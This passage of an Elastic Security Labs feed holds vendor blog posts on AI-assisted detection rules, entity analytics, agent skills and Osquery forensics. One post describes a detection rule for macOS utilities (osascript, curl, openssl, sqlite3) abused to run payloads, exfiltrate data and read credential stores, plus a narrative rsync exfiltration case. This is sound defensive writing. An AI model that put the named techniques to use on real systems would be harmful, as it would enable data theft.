<p>Before enabling, use the Preview rule results panel to run the query against recent data in your environment. Any existing matches will surface immediately, running against your actual Okta log data in your Elastic deployment (no sample data, no sandbox, no external validation step required), useful both for validating that the query logic is correct and for checking whether an attack may already be in progress in your Okta tenant.</p>
<p>In this example, we’ve added sample logs to get a single alert generated:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-preview.png" alt="Rule editing view with Preview results, along with open AI Agent panel." title="A screenshot of an Elastic Security rule editing view showing an ES|QL query and preview results on the left, with an AI Agent panel on the right providing additional guidance for refining credential‑stuffing detection logic." /></p>
<p>Now, satisfied with the results, we’ll enable the rule. It will begin executing on its configured schedule and generate alerts for any user and source IP combination where the full attack sequence is observed within the query window.</p>
<p>If we execute the rule manually for the past week to find any past attacks and check resulting alerts, we see the same alert we’ve gotten in the Rule Preview.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-alerts.png" alt="Rule Alerts view." title="A screenshot of an Elastic Security rule alerts view showing an open alert for an Okta credential‑stuffing and account‑takeover rule, including a trend graph stacked by user name and a table listing the alert’s timestamp, rule name, severity, risk score, and reason." /></p>
<p><strong>Note:</strong> AI-generated rules should be reviewed before deployment in production environments. The AI Agent may not have full awareness of your specific data schema, log source quirks, or environment-specific baseline behavior. Use the rule preview to validate against your actual data before enabling. </p>
<h2>Impact on detection engineering workflows</h2>
<p>The walk-through above, from opening the rule creation form to having a validated, multistage, MITRE-mapped ES|QL rule covering the full Okta account takeover chain, takes a few minutes. Writing the same query manually would require knowing the Okta-specific event action names, the correct <code>okta.outcome.reason</code> field and its enumerated values, how to structure <code>EVAL</code> with <code>CASE</code> to produce per-stage flags, how to aggregate those flags with <code>SUM</code> rather than <code>COUNT</code>, and how to express a compound post-compromise condition using <code>OR</code> across two aggregated fields. For an analyst onboarding a new data source under time pressure, that’s a significant amount of context to hold simultaneously.</p>
<p>The AI Agent doesn’t replace detection expertise. The analyst still makes every meaningful decision: which event types constitute the attack chain, what thresholds make sense for their environment, and whether the preview results look correct. What changes is the time it takes to get from having threat knowledge to having a working rule. Engineers who understand the attack and can describe it iterate and get a production-quality query back quicker, rather than spending time on implementation mechanics.</p>
<p>This matters most at the moments when speed is most critical: when a new campaign is active, when a data source has just been onboarded, or when an existing rule needs rapid refinement because the threat has evolved. AI-powered attackers aren’t waiting for your rule backlog to clear. Detection engineering tooling shouldn’t require it either.</p>
<h2>What's next</h2>
<p>AI rule creation for ES|QL is the first step in a broader expansion of AI Agent-driven detection engineering in Elastic Security. ES|QL was the natural starting point given its aggregation-first pipeline structure, which maps cleanly to the behavioral descriptions analysts naturally provide. Support for additional rule types and additional quality of life rule creation steps and beyond is on the roadmap. Keep an eye on the<a href="https://www.elastic.co/fr/security-labs"> Elastic Security Labs</a> blog and release notes for updates as new capabilities become available.</p>
<p>For a broader look at how AI Agents are reshaping the detection engineering role, from threat modeling and telemetry tuning through to rule authoring and maintenance at scale, see<a href="https://www.elastic.co/fr/security-labs/supercharge-your-soc"> Supercharge Your SOC: Detection Engineering in the Era of AI Agents</a> on Elastic Security Labs. For a comprehensive overview of the full detection engineering toolset available in Elastic Security today, including prebuilt rules, alert suppression, MITRE ATT&amp;CK coverage, and Detections as Code, see<a href="https://www.elastic.co/fr/blog/elastic-security-detection-engineering"> Know your tools: The full range of Elastic Security's detection engineering capabilities</a>.</p>
<p>Try the new AI rule creation capability on your deployment, or<a href="https://www.elastic.co/fr/cloud/cloud-trial-overview/security"> start a free trial</a>. Connect with us on<a href="https://join.slack.com/t/elasticstack/shared_invite/zt-2sgssfr0n-NhTOlSwHbaGH85tYfx6kGg"> Elastic's community Slack</a> to share feedback or tell us what detection use cases you’re building and how we can help.</p>
<p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p>
<p><em>In this blog post, we may have used or referred to third-party generative AI tools, which are owned and operated by their respective owners. Elastic does not have any control over the third-party tools and we have no responsibility or liability for their content, operation or use, nor for any loss or damage that may arise from your use of such tools. Please exercise caution when using AI tools with personal, sensitive or confidential information. Any data you submit may be used for AI training or other purposes. There is no guarantee that information you provide will be kept secure or confidential. You should familiarize yourself with the privacy practices and terms of use of any generative AI tools prior to use.</em></p>
<p><em>Elastic, Elasticsearch, ESRE, Elasticsearch Relevance Engine and associated marks are trademarks, logos or registered trademarks of Elasticsearch N.V. in the United States and other countries. All other company and product names are trademarks, logos or registered trademarks of their respective owners.</em></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/cover.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Elastic Conversational Entity Analytics: threat hunting in a single conversation]]></title>
            <link>https://www.elastic.co/fr/security-labs/entity-analytics-agent-builder</link>
            <guid>entity-analytics-agent-builder</guid>
            <pubDate>Mon, 04 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Conversational Entity Analytics delivers Entity Analytics features as rich inline attachments and Canvas previews into Agent Builder, so you don’t have to leave the conversation.]]></description>
            <content:encoded><![CDATA[<p>Entity Analytics is a core security analytics capability that extends Elastic Security from event-centric to entity-centric investigation.</p>
<p>By focusing on critical entities, such as users, hosts, and services, it builds a complete profile of each entity’s attributes, lifecycle, behaviors, relationships, and risk score over time. This security context equips threat hunters to stop chasing isolated alerts and instead uncover the full narrative of a potential compromise. In this blog, we walk through Conversational Entity Analytics, the Agent Builder AI agent skill that delivers entity risk scores, profiles, dashboards in-line, and more, so the hunt stays in one place.</p>
<h2>Why Entity Analytics  matters for threat hunters</h2>
<p>Threat hunting in most SIEMs is a tab-juggling exercise. The hunter sees a risk score in one place, opens the host detail page in another, navigates to the dashboard for context, jumps to alerts to read the evidence, and then back to a notes app to write down what they found. Every pivot loses context. Every navigation costs minutes. And the hunts that matter most the subtle, cross-source ones) are the hardest to phrase as a query in the first place.</p>
<p>Conversational Entity Analytics collapses that loop. The hunter can start with a question in the Agent Builder chat or ask a question after clicking on an entity in the Kibana UI, and the answer is delivered into the conversation as rich inline attachments and Canvas previews. The hunt becomes interactive with an AI agent acting as a defender and guiding each step of the way.</p>
<h2>What Conversational Entity Analytics is</h2>
<p>Conversational Entity Analytics is the Entity Analytics AI Agent Skill in Elastic Agent Builder. It turns natural-language questions about users, hosts, and services into the same structured outputs the Entity Analytics Kibana UI produces ranked entity lists, full entity profiles, resolution groups, and the Entity Analytics Dashboard), rendered directly inside the conversation.</p>
<p>Two rendering modes do the heavy lifting: <strong>Rich inline attachments</strong> land the answer in chat as a live, structured artifact. <strong>Canvas previews</strong> open the corresponding Entity Analytics surface in a panel next to the conversation. The hunter never leaves the thread, and the underlying source of truth is always Entity Analytics in Kibana.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-agent-builder/rendering-modes.png" alt="" /></p>
<p>Two rendering modes, one conversation:</p>
<ul>
<li>
<p><strong>Rich inline attachments:</strong> Structured cards that appear in line with the skill's reply, such as ranked entity tables, entity profile cards with risk-score breakdowns, and dashboard cards. Every attachment carries an &quot;Attachment added&quot; marker so the hunter knows it will persist with the thread.</p>
</li>
<li>
<p><strong>Canvas previews:</strong> A Preview action on any attachment opens the full Entity Analytics Kibana UI surface in a Canvas pane beside the chat.</p>
</li>
</ul>
<h2>1. Start the hunt in chat. Or in the Kibana UI. Or in both.</h2>
<p>Entity Analytics provides an out-of-the-box experience on what the riskiest entities are in your environment through our pre-generated AI-Hunting Leads and entities list by risk score. However, if a hunter has a specific question in mind and wants to ask it directly, the hunter can open the Elastic Agent Builder and ask:</p>
<p><strong>Prompt:</strong> What are the top 5 riskiest hosts in my environment?</p>
<p>The agent loads the entity-analytics skill, which is visible in the reasoning trace as: &quot;Now that the entity-analytics skill is loaded, I'll search for the top 10 riskiest hosts in the environment.&quot; Same Entity Store. Same risk score contract. Same answer the Kibana UI would return, delivered as a conversation.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-agent-builder/entity-analytics-skill.png" alt="" /></p>
<h2>2. The conversation follows the hunter into the UI</h2>
<p>When asked about a specific user, host, or service, the conversation opens a user interface within the chat and includes links to directly open the Kibana UI for entity flyouts.</p>
<p>The hunters get to the same page they would have reached by navigating manually, and with Conversational Entity Analytics, they can interact through the conversation.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-agent-builder/hunters.png" alt="" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-agent-builder/entity-analytics-dashboard.png" alt="" /></p>
<h2>The power to threat hunt in any way</h2>
<p>Every Entity Analytics AI Skill in the Chat-First Experience has a corresponding Kibana Entity Analytics UI surface it can hand off to, preview, or sit alongside. The hunter chooses the path: some hunts are best opened in chat, and others are best opened in the UI. Hunters can interact freely between both.</p>
<p><strong>What this means for the hunter:</strong>
Start with a question, a hypothesis, a dashboard, or a raw log. Move between chat and the Kibana UI at any point. The Entity Store, Risk Score contract, Unified Entity Resolution, AI Hunting Leads, Watchlists, and the Entity Analytics Dashboard are the same underneath — reached through whichever surface fits the moment.</p>
<p>In practice, Hunters spend less time navigating and more time analyzing. They get to the right entity in seconds, see the full risk-score breakdown and threat narrative inline, without losing the evidence on screen. The hunt accelerates, and the surface of what’s interactive expands.</p>
<p><a href="https://www.elastic.co/fr/docs/solutions/security/ai/agent-builder/skills-use-cases#entity-risk-investigation">Entity Analytics AI Skills</a> offer a conversational experience. Together with the Kibana UI, they give every hunter the power to hunt in any way.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-agent-builder/cover.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[One agent, the right skills: Elastic Security 9.4 brings domain expertise on demand to every SOC workflow]]></title>
            <link>https://www.elastic.co/fr/security-labs/skills-elastic-security-9-4</link>
            <guid>skills-elastic-security-9-4</guid>
            <pubDate>Mon, 04 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security 9.4 introduces skills, modular AI capabilities that teach the Elastic AI Agent how to detect, investigate, and hunt like a specialist. This is how they work, and why they matter for the SOC.]]></description>
            <content:encoded><![CDATA[<p>Three things land on you at once: Attack Discovery correlated 12 alerts into a credential-harvesting campaign overnight, your team just onboarded a new fleet of macOS endpoints and needs detection rules for LOLBin abuse, and a risk score spike on a service account just crossed the critical threshold.</p>
<p>In most security operations centers (SOCs), that's three different people, three different workflows, and a morning spent context-switching. In Elastic Security 9.4, it's one conversation.</p>
<p>You open the Elastic AI Agent and start working. The agent doesn't try to handle everything with one giant prompt. Instead, it activates the right <strong>skill</strong> for each task, loading specialized instructions, selected tools, and domain context only when needed. Detection Rule Edit writes your Elasticsearch Query Language (ES|QL) rule. Alert Analysis triages the campaign. Threat Hunting chases the service account. Each skill focuses on one job. Together, they cover the full pipeline.</p>
<p>In this article, we'll walk through the architecture, what each skill does, and how they work together in real scenarios.</p>
<h2>The problem: AI assistants that know a little about everything</h2>
<p>Most AI assistants are monolithic. One system prompt tries to cover detection, investigation, response, entity analysis, and threat hunting all at once. This creates two problems that compound as capabilities grow.</p>
<p><strong>Context window dilution.</strong> Every instruction, every tool description, every example takes up tokens. When the prompt tries to cover every SOC workflow, the model has less room for the actual data it needs to reason about: your alerts, your entities, your logs. As you add more capabilities, the quality of each one degrades.</p>
<p><strong>Jack-of-all-trades performance.</strong> A prompt that covers everything handles nothing with depth. Ask it to write a detection rule, and it produces something generic. Ask it to investigate an entity, and it misses the nuance of the risk score composition. The model knows a little about many things but lacks the specialized knowledge that makes the output useful.</p>
<p>The industry response has been to build separate agents for separate tasks: a detection agent, a hunting agent, a triage agent. But that fragments the experience. Analysts have to know which agent to use, switch between them, and manually pass context from one to another. The AI becomes a tool-switching exercise rather than a productivity gain.</p>
<p>We needed an architecture that scales to dozens of capabilities without diluting any of them, and without forcing analysts to manage multiple agents.</p>
<h2>The solution: Skills</h2>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/skills-elastic-security-9-4/elastic-security-skills.png" alt="" /></p>
<p><em>Skills</em> are a well-established pattern in AI agent architecture, a way to give a generalist model specialized capabilities on demand. In our implementation, a skill is a package of three things: a system prompt tuned for a specific SOC workflow, a curated set of tools selected for the task, and referenced domain content. The concept isn't new. What's new is applying it to security operations with depth: Each skill encodes the reasoning patterns, query templates, and domain knowledge that experienced analysts use daily.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/skills-elastic-security-9-4/anatomy-elastic-security-skills.png" alt="" /></p>
<p>The architecture rests on three ideas.</p>
<p><strong>Each skill does one job well.</strong> The Threat Hunting skill knows how to formulate hypotheses, iterate on ES|QL queries, identify anomalies, and document findings. It doesn't know how to edit detection rules. That's not a limitation; it's the point. Because each skill focuses on a single intent, it can include richer instructions, better examples, and more precise tool configurations than a monolithic prompt ever could.</p>
<p><strong>Skills work together.</strong> When Alert Analysis encounters a high-risk entity, it references the <a href="https://www.elastic.co/fr/security-labs/entity-analytics-agent-builder">Entity Analytics skill</a> for deeper profiling. When Threat Hunting finds a suspicious binary, it can hand off to the detection pipeline. Multi-step investigations happen without requiring the analyst to orchestrate each handoff.</p>
<p><strong>Nothing loads until it's needed.</strong> Skills activate on demand, not all at once. The agent's context window stays lean as the total number of capabilities grows. You can add a new skill without degrading any existing one, because each operates in its own focused context.</p>
<p>At a glance, the following image shows a skill in action:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/skills-elastic-security-9-4/agent-reasoning-steps.png" alt="Agent reasoning steps loading in multiple skills based on the user’s request." /></p>
<h2>Five skills for the security operations pipeline</h2>
<p>Elastic Security 9.4 ships five skills that span the core SOC workflows: detection, triage, hunting, entity analysis, and anomaly investigation.</p>
<table>
<thead>
<tr>
<th>Skill</th>
<th>Domain</th>
<th>What it does</th>
<th>Example prompt</th>
</tr>
</thead>
<tbody>
<tr>
<td>Detection Rule Edit</td>
<td>Detection engineering</td>
<td>Creates and edits detection rules from natural language, maps to MITRE ATT&amp;CK, validates queries</td>
<td>Write a rule to detect DLL sideloading via unsigned DLLs loaded by signed binaries.</td>
</tr>
<tr>
<td>Alert Analysis</td>
<td>Alert triage</td>
<td>Triages alerts, finds related alerts by shared entities, enriches with threat intelligence and risk scores</td>
<td>Analyze alert 82a1f, is this related to the credential-harvesting campaign?</td>
</tr>
<tr>
<td>Threat Hunting</td>
<td>Proactive hunting</td>
<td>Runs hypothesis-driven hunts with iterative querying, embedded query templates for common tactics, techniques, and procedures (TTPs)</td>
<td>Hunt for lateral movement from the compromised host in the last 7 days.</td>
</tr>
<tr>
<td>Entity Analytics</td>
<td>Entity investigation</td>
<td>Profiles entities from the Entity Store: risk scores, behaviors, asset criticality, relationships</td>
<td>Show me the riskiest users this week and what's driving their scores.</td>
</tr>
<tr>
<td>Security ML Jobs</td>
<td>Anomaly investigation</td>
<td>Investigates anomalies from Security ML jobs, correlates with entity context</td>
<td>What anomalies are associated with svc-backup-prod?</td>
</tr>
</tbody>
</table>
<p>Three scenarios show how these skills work in practice.</p>
<h3>Scenario 1: Writing a detection rule for macOS LOLBin abuse</h3>
<p>Your team just onboarded a fleet of macOS endpoints. You have solid detection coverage for Windows living-off-the-land binaries but almost nothing for macOS equivalents. Attackers routinely abuse built-in macOS utilities, like <code>osascript</code>, <code>curl</code>, <code>openssl</code>, and <code>sqlite3</code>, to execute payloads, exfiltrate data, and access credential stores without triggering basic malware detection. You need rules for these, and you need them before the next red team exercise.</p>
<p>You open the Elastic AI Agent and type: <em>Create an ES|QL detection rule for macOS LOLBin abuse. Look for suspicious use of built-in macOS utilities, like osascript, curl, openssl, and sqlite3, being spawned by unexpected parent processes.</em></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/skills-elastic-security-9-4/siem-rule.png" alt="" /></p>
<p>The <a href="https://www.elastic.co/fr/security-labs/ai-esql-detection-rule-creation"><strong>Detection Rule Edit</strong></a> skill activates:</p>
<ul>
<li>
<p>The skill uses <code>platform.core.generate_esql</code>to draft an ES|QL query targeting <code>logs-endpoint.events.process-*</code>, filtering for known macOS LOLBins spawned by unusual parent processes (for example, <code>osascript</code> launched by a web browser, or <code>url</code> invoked by a shell script running from <code>/tmp</code>).</p>
</li>
<li>
<p>It maps the rule to MITRE ATT&amp;CK: <strong>T1059.002, AppleScript</strong>, and <strong>T1105, Ingress Tool Transfer</strong> under the Execution and Command and Control tactics.</p>
</li>
<li>
<p>The skill calls <code>security.security_labs_search</code> to check whether Elastic Security Labs has published research on macOS LOLBin techniques, pulling relevant context into the rule's investigation guide.</p>
</li>
<li>
<p>It generates the complete rule definition (name, description, severity, risk score, tags, MITRE mapping, schedule, and the validated ES|QL query) and presents it as an editable rule attachment in the conversation.</p>
</li>
</ul>
<p>You review the query, tune the parent-process allow list to exclude your IT team's legitimate automation scripts, and save. The rule is live. Total time: under five minutes.</p>
<p>Without the skill, this process means switching to the detection rules UI, manually writing ES|QL against the correct indices, researching which macOS utilities qualify as LOLBins, looking up the right MITRE technique IDs, and hoping you haven't missed an edge case. That's 30–60 minutes for an experienced detection engineer, longer for someone less familiar with the macOS process hierarchy.</p>
<h3>Scenario 2: Attack Discovery surfaces a campaign</h3>
<p>Overnight, Attack Discovery correlated 12 alerts across three hosts and two users into a single narrative: <em>Credential harvesting via browser credential store access and suspicious authentication patterns.</em> The discovery is sitting in your queue when you arrive.</p>
<p>You click into the agent and ask: <em>Analyze the credential-harvesting discovery. Are these alerts true positives? What's the blast radius?</em></p>
<p><strong>Alert Analysis</strong> goes first. It fetches the correlated alerts using <code>security.alerts</code>, pulling the full alert details: rule names, severities, MITRE techniques, affected entities. Then it uses its inline tool <code>security.alert-analysis.get-related-alerts</code> to find additional alerts sharing entities with the correlated set. It discovers four additional alerts involving the same user (j.martinez) from the past 48 hours, alerts that weren't part of the credential-harvesting campaign pattern but are relevant to the broader investigation of this user's activity. These are failed authentication attempts against a different service, suggesting the attacker is testing stolen credentials across systems.</p>
<p>Next, it queries <code>security.security_labs_search</code> to check whether the observed TTPs match known threat actor playbooks. It finds a match: The technique chain (credential store access → lateral authentication → service enumeration) aligns with a published Elastic Security Labs report on a commodity access broker toolkit.</p>
<p>Finally, it calls <code>security.entity_risk_score</code> to assess the involved entities. <code>j.martinez</code> has a risk score of 87 (critical), already elevated before this campaign due to prior anomalous VPN activity.</p>
<p>The triage is done: true positive, high confidence, expanding blast radius. But you want deeper entity context. What else has <code>j.martinez</code> been doing?</p>
<p>The <strong>Entity Analytics</strong> skill picks up. Using <code>security.get_entity</code>, it pulls the full entity profile: risk score history over 90 days, contributing risk inputs (the current campaign plus two prior anomaly detections), asset criticality (the account has admin access to three production databases), and behavioral patterns. The profile shows that `j.martinez's risk score has increased by 34 points in the last week, well above the significant-change threshold.</p>
<p>You now have the full picture: confirmed campaign, expanding scope, high-value target, and historical context. You ask the agent to create a case with all findings attached. It compiles alert evidence, entity profile, threat intel matches, and recommended containment actions into a single case.</p>
<h3>Scenario 3: An anomaly leads to a hunt</h3>
<p>While reviewing the morning's anomalies, the Security ML jobs flagged unusual behavior on <code>svc-backup-prod</code>, a service account that normally runs scheduled backup jobs between 2:00 and 4:00 a.m. The anomaly: large outbound data transfers at 11:00 p.m., well outside the normal window, to an IP address the account has never contacted before.</p>
<p>You ask: <em>Investigate the anomalies on svc-backup-prod. What's happening?</em></p>
<p>The <strong>Security ML Jobs</strong> skill starts by calling <code>find.security.ml.jobs</code> to find the relevant ML jobs and anomaly indices, in this case jobs monitoring network traffic patterns and data exfiltration signals. It generates and executes an ES|QL query against `.ml-anomalies-*<code>, filtering for </code>svc-backup-prod` records above the anomaly score threshold. The results show three anomalous sessions over the past week, each with increasing data volume: 2 GB, then 8 GB, and then 23 GB.</p>
<p>Since Entity Store v2 is enabled, the skill extracts the entity's unique identifier and calls <code>security.get_entity</code> to pull the full entity profile. It reveals that <code>svc-backup-prod</code> was recently granted access to a new file share containing customer PII, and its asset criticality is classified as <code>extreme_impact</code>.</p>
<p>The anomaly data is concerning, but you need to dig deeper. You type: <em>Hunt for all network activity from svc-backup-prod to external IPs in the last 30 days. Compare against baseline.</em></p>
<p>The <strong>Threat Hunting</strong> skill takes over. Using <code>platform.core.generate_esql</code> and <code>platform.core.execute_esql</code>, it iteratively builds queries against <code>logs-endpoint.events.network-*</code>:</p>
<ul>
<li>
<p>First pass: Aggregate all outbound connections by destination IP, ordered by total bytes transferred. The results confirm that the flagged IP (<code>198.51.100.47</code>) accounts for 33 GB of outbound traffic, all within the past 10 days. None before that.</p>
</li>
<li>
<p>Second pass: Check the destination IP against DNS resolution patterns. The IP resolves to a recently registered domain (<code>storage-sync-cdn.cloud</code>) with a registrar commonly associated with bulletproof hosting.</p>
</li>
<li>
<p>Third pass: Correlate with process telemetry. The connections originate from a process (<code>rsync</code>) that <code>svc-backup-prod</code> normally uses, but it's connecting to an unauthorized destination. The attacker is using a legitimate tool for exfiltration, making rule-based detection difficult.</p>
</li>
</ul>
<p>The hunt confirms a data exfiltration campaign using living-off-the-land techniques. The Threat Hunting skill documents the hypothesis, queries, and evidence trail. You create a case with containment recommendations: Isolate the host, rotate the service account credentials, and block the destination IP at the network perimeter.</p>
<p>Three skills. One conversation. From anomaly to confirmed exfiltration in minutes, not hours.</p>
<h2>Under the hood: How skills are built</h2>
<p>Each skill is defined as a <code>SkillType</code>, a structured object that bundles everything the agent needs for a specific domain:</p>
<ul>
<li>
<p><strong>System prompt</strong> (<code>content</code>): The core instructions. This is where domain expertise lives. The Threat Hunting skill, for example, includes a complete hunting process (formulate hypothesis → identify data sources → explore iteratively → identify anomalies → search for IOCs → document findings) with embedded ES|QL templates for common patterns, like lateral movement detection and C2 beaconing analysis.</p>
</li>
<li>
<p><strong>Registry tools</strong> (<code>getRegistryTools</code>): The set of platform and security tools the skill can invoke. Each skill gets only the tools it needs. Alert Analysis gets <code>security.alerts</code>, <code>security.security_labs_search</code>, and <code>security.entity_risk_score</code>. Threat Hunting gets <code>platform.core.generate_esql</code>, <code>platform.core.execute_esql</code>, <code>platform.core.search</code>, and <code>platform.core.cases</code>. No skill has access to tools it doesn't need.</p>
</li>
<li>
<p><strong>Inline tools</strong> (<code>getInlineTools</code>): Skill-specific tools that only exist within that skill's context. Alert Analysis defines <code>security.alert-analysis.get-related-alerts</code>, a tool that finds alerts sharing entities with a given alert. This tool doesn't exist outside the Alert Analysis skill because no other workflow needs it.</p>
</li>
<li>
<p><strong>Referenced content</strong> (<code>referencedContent</code>): Named chunks of domain knowledge that the skill can pull in when needed. The Threat Hunting skill includes embedded ES|QL query templates for lateral movement, C2 beaconing, brute force detection, and rare process execution. These are ready-made patterns that the agent adapts to the specific investigation.</p>
</li>
</ul>
<p>Because each skill is self-contained, adding a new one (for incident response automation or binary analysis, say) doesn't touch any existing skill. Each operates independently, with its own prompt, its own tools, and its own domain knowledge</p>
<h2>Skills in the Agentic SOC</h2>
<p>If you read our <a href="https://www.elastic.co/fr/security-labs/speeding-apt-attack-discovery-confirmation-with-attack-discovery-workflows-and-agent-builder">previous post on Attack Discovery, Workflows, and Elastic Agent Builder</a>, you'll recognize the pattern. In that post, we extended the Threat Hunting Agent with five custom workflow tools (VirusTotal lookups, on-call schedule checks, case creation, Slack channel creation, and time retrieval) to build an automated triage pipeline for advanced persistent threat–level (APT-level) threats.</p>
<p>Skills are the productized evolution of that approach. Instead of requiring each SOC team to build custom agents and wire up individual tools, Elastic Security now ships domain expertise out of the box. The five skills in 9.4 cover the workflows that every SOC runs daily (detection, triage, hunting, entity analysis, and anomaly investigation) with the same composable, tool-backed architecture.</p>
<p>Skills also integrate directly with the rest of the <a href="https://www.elastic.co/fr/blog/ai-cybersecurity-arms-race-agentic-soc">Agentic SOC</a> stack:</p>
<ul>
<li>
<p><strong>Attack Discovery</strong> generates alerts that can trigger Workflows, which invoke the agent. The agent activates Alert Analysis, Entity Analytics, or Threat Hunting, depending on what the discovery requires.</p>
</li>
<li>
<p><strong>Workflows</strong> provide the execution layer, both scripted automation and AI-augmented reasoning. A Workflow can run deterministic actions, like case creation, host isolation, and notification, but it can also invoke the Elastic AI Agent as a step, triggering skill-based reasoning mid-pipeline. This means a single Workflow can isolate a host (scripted), then ask the agent to triage the related alerts using Alert Analysis (AI-driven), and then escalate to Slack (scripted), combining reliability with intelligence.</p>
</li>
<li>
<p><strong>Custom tools and Model Context Protocol (MCP)</strong> remain fully available. Skills don't replace customization. They complement it. Teams can still add workflow-backed tools, connect external MCP servers, and extend the agent for their environment-specific needs.</p>
</li>
</ul>
<p>Security users also benefit from three platform skills that ship alongside the security-specific ones.</p>
<ul>
<li>
<p><strong>Dashboard Management</strong> lets analysts build and update Kibana dashboards through conversation. After completing the exfiltration investigation in Scenario 3, you could ask the agent: <em>Create a dashboard showing outbound data transfer volume by service account over the last 30 days, with a breakdown by destination IP.</em> The skill generates the visualizations and presents them as an editable attachment, so you go from investigation findings to a shareable executive briefing without switching tools.</p>
</li>
<li>
<p><strong>Workflow Authoring</strong> (available as an experimental capability) helps teams write and modify workflow YAML through the agent. Instead of hand-authoring a triage Workflow from scratch, you could ask: <em>Create a workflow that triggers on critical-severity alerts, runs the alert through the AI agent for triage, and creates a Slack channel if it's confirmed as a true positive.</em> The skill generates the YAML definition, validates it, and lets you review before deploying. This turns Workflow creation from a manual authoring task into a conversation.</p>
</li>
<li>
<p><strong>Graph Creation</strong> lets analysts visualize entity relationships and attack paths through conversation. After the Alert Analysis skill identifies that j.martinez's compromised credentials were used across three hosts, you could ask: <em>Create a graph showing the relationship between j.martinez, the affected hosts, and the credential-harvesting alerts.</em> The skill generates an interactive node-link visualization showing how entities connect, making it easier to brief stakeholders on attack scope and lateral movement paths.</p>
</li>
</ul>
<p>The pieces form a layered system: Attack Discovery surfaces threats, skills provide domain expertise for analysis, Workflows execute the response, and platform skills help you build the dashboards, graphic representation, and automation that tie it all together.</p>
<h2>Key takeaways</h2>
<ul>
<li>
<p><strong>Skills are the unit of AI expertise in the SOC.</strong> Each skill packages domain knowledge, curated tools, and specialized instructions for a single workflow: detection, triage, hunting, entity analysis, or anomaly investigation.</p>
</li>
<li>
<p><strong>One agent, not five.</strong> Analysts don't switch between agents. The Elastic AI Agent activates the right skill based on the task, keeping the experience unified and the context connected.</p>
</li>
<li>
<p><strong>Composable by design.</strong> Skills reference each other. Alert Analysis hands off to Entity Analytics for deeper profiling. Threat Hunting builds on ML anomaly findings. Investigations flow naturally across skills without manual context transfer.</p>
</li>
<li>
<p><strong>Efficient at scale.</strong> Skills load on demand. Adding new skills doesn't degrade existing ones. Each operates in its own focused context window, so quality improves as capabilities grow.</p>
</li>
<li>
<p><strong>Built on the Agentic SOC stack.</strong> Skills work with Attack Discovery, Workflows, and custom tools. They make the automation pipeline richer by giving the agent deeper domain expertise at every step.</p>
</li>
<li>
<p><strong>Extensible.</strong> The five out-of-the-box skills ship with 9.4, but the architecture supports custom skills. Teams can build skills tailored to their environment, their data sources, and their SOC processes.</p>
</li>
</ul>
<h2>Get started</h2>
<p>Skills ship as part of Elastic Security 9.4. They're available out of the box in the Elastic AI Agent with no configuration required. Open a conversation, ask a security question, and the agent activates the right skill.</p>
<p>To learn more, see the <a href="https://www.elastic.co/fr/docs/explore-analyze/ai-features/elastic-agent-builder">Elastic AI Agent documentation</a> and the <a href="https://www.elastic.co/fr/docs/release-notes/security">Elastic Security 9.4 release notes</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/skills-elastic-security-9-4/cover.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[DFIR: From alert to root cause using Osquery without leaving Elastic Security]]></title>
            <link>https://www.elastic.co/fr/security-labs/dfir-osquery-elastic-security</link>
            <guid>dfir-osquery-elastic-security</guid>
            <pubDate>Fri, 01 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Learn how to perform distributed, real-time Digital Forensics and Incident Response (DFIR) using Osquery and Elastic to investigate threats at scale without relying on disk imaging.]]></description>
            <content:encoded><![CDATA[<p>Modern DFIR doesn't start with a disk image. That model worked when environments were smaller, endpoints were static, and time wasn't the primary constraint. Endpoints are now ephemeral, fleets scale to thousands of hosts, and attackers operate on timelines measured in minutes. By the time a full forensic image is collected, the system may no longer exist.</p>
<p>Forensics today is no longer about collecting everything. It's about asking the right questions, in real time, across your entire environment.</p>
<p>This is where distributed, query-driven forensics comes in and why tools like <a href="https://osquery.io/">Osquery</a> have become foundational to modern Digital Forensics and Incident Response (DFIR). Most DFIR workflows have a hidden cost: the time lost switching between your endpoint detection and response (EDR), your security information and event management (SIEM), and your forensic tooling. Elastic Security eliminates that gap entirely, from a blocked alert to a deep-dive forensic query, without leaving the platform or losing investigative context.</p>
<hr />
<h2>Rethinking forensics in modern environments</h2>
<p><a href="https://www.sans.org/cybersecurity-focus-areas/digital-forensics-incident-response">DFIR</a> has traditionally been treated as a post-incident activity. Evidence was collected, systems were imaged, and analysis happened after the attacker had already completed their objectives. That model assumed stability: stable hosts, predictable timelines, and the ability to pause systems for investigation.</p>
<p>Today, those assumptions no longer hold.</p>
<p>Infrastructure is dynamic, endpoints are frequently reimaged or short-lived, and attackers operate on timelines measured in minutes rather than days. Waiting to collect full forensic images isn’t just inefficient; it’s also operationally infeasible. By the time analysis begins, the system may no longer exist, or the attacker may have already moved laterally.</p>
<p>As a result, DFIR has evolved into a live, iterative discipline. Investigators no longer rely on full disk acquisition as a starting point. Instead, they interrogate endpoints directly, retrieving only the artifacts that matter, when they matter.</p>
<h2>From disk imaging to distributed DFIR</h2>
<p>This shift represents a fundamental change in how investigations are performed.</p>
